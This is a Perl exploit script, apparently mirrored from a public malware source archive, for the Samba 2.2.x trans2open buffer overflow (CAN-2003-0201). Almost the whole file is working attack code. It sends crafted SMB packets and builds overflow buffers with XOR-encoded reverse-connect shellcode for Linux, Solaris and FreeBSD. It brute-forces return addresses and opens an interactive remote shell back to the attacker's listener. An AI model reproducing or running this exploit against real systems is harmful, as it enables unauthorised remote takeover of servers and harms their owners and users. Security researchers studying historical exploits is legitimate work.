mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
493 lines
13 KiB
Plaintext
493 lines
13 KiB
Plaintext
###############
|
|
|
|
##[ Header
|
|
# Name: trans2root.pl
|
|
# Purpose: Proof of concept exploit for Samba 2.2.x (trans2open overflow)
|
|
# CVE: CAN-2003-0201
|
|
# Author: H D Moore <hdmoore@digitaldefense.net>
|
|
# Copyright: Copyright (C) 2003 Digital Defense Inc.
|
|
# Release Date: April 7, 2003
|
|
# Revision: 1.0
|
|
# Download: http://www.digitaldefense.net/labs/securitytools.html
|
|
# Modified: By SARA team to incorporate for sara
|
|
##
|
|
|
|
use strict;
|
|
use Socket;
|
|
use IO::Socket;
|
|
use IO::Select;
|
|
use POSIX;
|
|
use Getopt::Std;
|
|
|
|
$SIG{USR2} = \&GoAway;
|
|
|
|
my %args;
|
|
my %targets =
|
|
(
|
|
"linx86" => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
|
|
"solx86" => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
|
|
"fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
|
|
# name # default # start # end # step # function
|
|
);
|
|
|
|
getopt('t:M:h:p:r:x:H:P:', \%args);
|
|
|
|
my $target_type = $args{t} || Usage();
|
|
my $target_host = $args{h} || Usage();
|
|
my $local_host = $args{H} || Usage();
|
|
my $local_port = $args{P} || 1981;
|
|
my $target_port = $args{p} || 139;
|
|
my $mode = $args{x} || "";
|
|
|
|
my $target_mode = "brute";
|
|
|
|
if (! exists($targets{$target_type})) { Usage(); }
|
|
print "[*] Using target type: $target_type\n";
|
|
|
|
# allow single mode via the -M option
|
|
if ($args{M} && uc($args{M}) eq "S")
|
|
{
|
|
$target_mode = "single";
|
|
}
|
|
|
|
# the parent process listens for an incoming connection
|
|
# the child process handles the actual exploitation
|
|
my $listen_pid = $$;
|
|
my $exploit_pid = StartListener($local_port);
|
|
|
|
# get the default return address for single mode
|
|
my $targ_ret = $args{r} || $targets{$target_type}->[0];
|
|
my $curr_ret;
|
|
$targ_ret = eval($targ_ret);
|
|
|
|
if ($target_mode !~ /brute|single/)
|
|
{
|
|
print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
|
|
exit(0);
|
|
}
|
|
|
|
|
|
if ($target_mode eq "single")
|
|
{
|
|
$curr_ret = $targ_ret;
|
|
if(! $targ_ret)
|
|
{
|
|
print "[*] Invalid return address specified!\n";
|
|
kill("USR2", $listen_pid);
|
|
exit(0);
|
|
}
|
|
|
|
print "[*] Starting single shot mode...\n";
|
|
printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
|
|
my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
|
|
my $ret = AttemptExploit($target_host, $target_port, $buf);
|
|
|
|
sleep(2);
|
|
kill("USR2", $listen_pid);
|
|
exit(0);
|
|
}
|
|
|
|
|
|
if ($target_mode eq "brute")
|
|
{
|
|
print "[*] Starting brute force mode...\n";
|
|
|
|
for (
|
|
$curr_ret =$targets{$target_type}->[1];
|
|
$curr_ret >= $targets{$target_type}->[2];
|
|
$curr_ret -=$targets{$target_type}->[3]
|
|
)
|
|
{
|
|
select(STDOUT); $|++;
|
|
my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
|
|
printf (" \r[*] Return Address: 0x%.8x", $curr_ret);
|
|
my $ret = AttemptExploit($target_host, $target_port, $buf);
|
|
}
|
|
sleep(2);
|
|
kill("USR2", $listen_pid);
|
|
exit(0);
|
|
}
|
|
|
|
sub Usage {
|
|
|
|
print STDERR "\n";
|
|
print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
|
|
print STDERR "===========================================================\n\n";
|
|
print STDERR " Usage: \n";
|
|
print STDERR " $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
|
|
print STDERR " Options: \n";
|
|
print STDERR " -M (S|B) <single or brute mode>\n";
|
|
print STDERR " -r <return address for single mode>\n";
|
|
print STDERR " -p <alternate Samba port>\n";
|
|
print STDERR " -P <alternate listener port>\n";
|
|
print STDERR " Targets:\n";
|
|
foreach my $type (keys(%targets))
|
|
{
|
|
print STDERR " $type\n";
|
|
}
|
|
print STDERR "\n";
|
|
|
|
|
|
exit(1);
|
|
}
|
|
|
|
|
|
sub StartListener {
|
|
my ($local_port) = @_;
|
|
my $listen_pid = $$;
|
|
|
|
my $s = IO::Socket::INET->new (
|
|
Proto => "tcp",
|
|
LocalPort => $local_port,
|
|
Type => SOCK_STREAM,
|
|
Listen => 3,
|
|
ReuseAddr => 1
|
|
);
|
|
|
|
if (! $s)
|
|
{
|
|
print "[*] Could not start listener: $!\n";
|
|
exit(0);
|
|
}
|
|
|
|
print "[*] Listener started on port $local_port\n";
|
|
|
|
my $exploit_pid = fork();
|
|
if ($exploit_pid)
|
|
{
|
|
my $victim;
|
|
$SIG{USR2} = \&GoAway;
|
|
|
|
while ($victim = $s->accept())
|
|
{
|
|
kill("USR2", $exploit_pid);
|
|
if ($mode eq "Sara") {
|
|
print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
|
|
StartShell($victim);
|
|
} else {
|
|
print "System is vulnerable to attack\n";
|
|
exit(0);
|
|
}
|
|
}
|
|
exit(0);
|
|
}
|
|
return ($exploit_pid);
|
|
}
|
|
|
|
sub StartShell {
|
|
my ($client) = @_;
|
|
my $sel = IO::Select->new();
|
|
|
|
Unblock(*STDIN);
|
|
Unblock(*STDOUT);
|
|
Unblock($client);
|
|
|
|
select($client); $|++;
|
|
select(STDIN); $|++;
|
|
select(STDOUT); $|++;
|
|
|
|
$sel->add($client);
|
|
$sel->add(*STDIN);
|
|
|
|
print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
|
|
print $client "echo \n";
|
|
|
|
while (fileno($client))
|
|
{
|
|
my $fd;
|
|
my @fds = $sel->can_read(0.2);
|
|
|
|
foreach $fd (@fds)
|
|
{
|
|
my @in = <$fd>;
|
|
|
|
if(! scalar(@in)) { next; }
|
|
|
|
if (! $fd || ! $client)
|
|
{
|
|
print "[*] Closing connection.\n";
|
|
close($client);
|
|
exit(0);
|
|
}
|
|
|
|
if ($fd eq $client)
|
|
{
|
|
print STDOUT join("", @in);
|
|
} else {
|
|
print $client join("", @in);
|
|
}
|
|
}
|
|
}
|
|
close ($client);
|
|
}
|
|
|
|
sub AttemptExploit {
|
|
my ($Host, $Port, $Exploit) = @_;
|
|
my $res;
|
|
|
|
my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type => SOCK_STREAM, Protocol => "tcp");
|
|
|
|
if (! $s)
|
|
{
|
|
print "\n[*] Error: could not connect: $!\n";
|
|
kill("USR2", $listen_pid);
|
|
exit(0);
|
|
}
|
|
|
|
select($s); $|++;
|
|
select(STDOUT); $|++;
|
|
Unblock($s);
|
|
|
|
my $SetupSession =
|
|
"\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01".
|
|
"\x00\x00\x00\x00";
|
|
|
|
my $TreeConnect =
|
|
"\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
|
|
"\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
|
|
"\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50".
|
|
"\x43\x24";
|
|
|
|
my $Flush = ("\x00" x 808);
|
|
|
|
print $s $SetupSession;
|
|
$res = ReadResponse($s);
|
|
|
|
print $s $TreeConnect;
|
|
$res = ReadResponse($s);
|
|
|
|
# uncomment this for diagnostics
|
|
# print "[*] Press Enter to Continue...\n";
|
|
# $res = <STDIN>;
|
|
|
|
print "[*] Sending Exploit Buffer...\n";
|
|
|
|
print $s $Exploit;
|
|
print $s $Flush;
|
|
|
|
ReadResponse($s);
|
|
close($s);
|
|
}
|
|
|
|
sub CreateBuffer_linx86 {
|
|
my ($Host, $Port, $Return) = @_;
|
|
|
|
my $RetAddr = eval($Return);
|
|
$RetAddr = pack("l", $RetAddr);
|
|
|
|
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
|
|
$a1 = chr(ord($a1) ^ 0x93);
|
|
$a2 = chr(ord($a2) ^ 0x93);
|
|
$a3 = chr(ord($a3) ^ 0x93);
|
|
$a4 = chr(ord($a4) ^ 0x93);
|
|
|
|
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
|
|
$p1 = chr(ord($p1) ^ 0x93);
|
|
$p2 = chr(ord($p2) ^ 0x93);
|
|
|
|
my $exploit =
|
|
# trigger the trans2open overflow
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
|
|
|
|
GetNops(772) .
|
|
|
|
# xor decoder courtesy of hsj
|
|
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
|
|
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
|
|
"\x93\x40\xe2\xfa".
|
|
|
|
# reverse-connect, mangled lamagra code + fixes
|
|
"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
|
|
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
|
|
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
|
|
$p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
|
|
"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
|
|
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
|
|
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
|
|
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
|
|
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
|
|
"\xfd\xbc\xe0\xfb".
|
|
|
|
GetNops(87).
|
|
|
|
($RetAddr x 8).
|
|
|
|
"DDI!". ("\x00" x 277);
|
|
|
|
return $exploit;
|
|
}
|
|
|
|
sub CreateBuffer_solx86 {
|
|
my ($Host, $Port, $Return) = @_;
|
|
|
|
my $RetAddr = eval($Return);
|
|
my $IckAddr = $RetAddr - 512;
|
|
|
|
$RetAddr = pack("l", $RetAddr);
|
|
$IckAddr = pack("l", $IckAddr);
|
|
|
|
# IckAddr needs to point to a writable piece of memory
|
|
|
|
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
|
|
$a1 = chr(ord($a1) ^ 0x93);
|
|
$a2 = chr(ord($a2) ^ 0x93);
|
|
$a3 = chr(ord($a3) ^ 0x93);
|
|
$a4 = chr(ord($a4) ^ 0x93);
|
|
|
|
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
|
|
$p1 = chr(ord($p1) ^ 0x93);
|
|
$p2 = chr(ord($p2) ^ 0x93);
|
|
|
|
my $exploit =
|
|
# trigger the trans2open overflow
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
|
|
|
|
GetNops(813) .
|
|
|
|
# xor decoder courtesy of hsj
|
|
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
|
|
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
|
|
"\x93\x40\xe2\xfa".
|
|
|
|
# reverse-connect, code by bighawk
|
|
"\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
|
|
"\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
|
|
$a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
|
|
"\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
|
|
"\xc2\xc1\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
|
|
"\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
|
|
"\x6c\x46".
|
|
|
|
GetNops(87) .
|
|
|
|
"010101".
|
|
$RetAddr.
|
|
$IckAddr.
|
|
$RetAddr.
|
|
$IckAddr.
|
|
"101010".
|
|
|
|
"DDI!". ("\x00" x 277);
|
|
|
|
return $exploit;
|
|
}
|
|
|
|
sub CreateBuffer_bsdx86 {
|
|
my ($Host, $Port, $Return) = @_;
|
|
|
|
my $RetAddr = eval($Return);
|
|
my $IckAddr = $RetAddr - 512;
|
|
|
|
$RetAddr = pack("l", $RetAddr);
|
|
$IckAddr = pack("l", $IckAddr);
|
|
|
|
# IckAddr needs to point to a writable piece of memory
|
|
|
|
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
|
|
$a1 = chr(ord($a1) ^ 0x93);
|
|
$a2 = chr(ord($a2) ^ 0x93);
|
|
$a3 = chr(ord($a3) ^ 0x93);
|
|
$a4 = chr(ord($a4) ^ 0x93);
|
|
|
|
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
|
|
$p1 = chr(ord($p1) ^ 0x93);
|
|
$p2 = chr(ord($p2) ^ 0x93);
|
|
|
|
my $exploit =
|
|
# trigger the trans2open overflow
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
|
|
|
|
GetNops(830) .
|
|
|
|
# xor decoder courtesy of hsj
|
|
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
|
|
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
|
|
"\x93\x40\xe2\xfa".
|
|
|
|
# reverse-connect, code by bighawk
|
|
"\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\xc2\x23\xf2\x5e\x13\x1a\x50".
|
|
"\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
|
|
"\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
|
|
"\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
|
|
"\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
|
|
|
|
GetNops(87) .
|
|
|
|
"010101".
|
|
$RetAddr.
|
|
$IckAddr.
|
|
$RetAddr.
|
|
$IckAddr.
|
|
"101010".
|
|
|
|
"DDI!". ("\x00" x 277);
|
|
|
|
return $exploit;
|
|
}
|
|
|
|
sub Unblock {
|
|
my $fd = shift;
|
|
my $flags;
|
|
$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
|
|
fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
|
|
}
|
|
|
|
sub GoAway {
|
|
exit(0);
|
|
}
|
|
|
|
sub ReadResponse {
|
|
my ($s) = @_;
|
|
my $sel = IO::Select->new($s);
|
|
my $res;
|
|
my @fds = $sel->can_read(4);
|
|
foreach (@fds) { $res .= <$s>; }
|
|
return $res;
|
|
}
|
|
|
|
sub HexDump {
|
|
my ($data) = @_;
|
|
my @x = split(//, $data);
|
|
my $cnt = 0;
|
|
|
|
foreach my $h (@x)
|
|
{
|
|
if ($cnt > 16)
|
|
{
|
|
print "\n";
|
|
$cnt = 0;
|
|
}
|
|
|
|
printf("\\x%.2x", ord($h));
|
|
$cnt++;
|
|
}
|
|
print "\n";
|
|
}
|
|
|
|
# thank you k2 ;)
|
|
sub GetNops {
|
|
my ($cnt) = @_;
|
|
my @nops = split(//,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
|
|
"\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
|
|
"\xf5\x45\x4c");
|
|
return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
|
|
}
|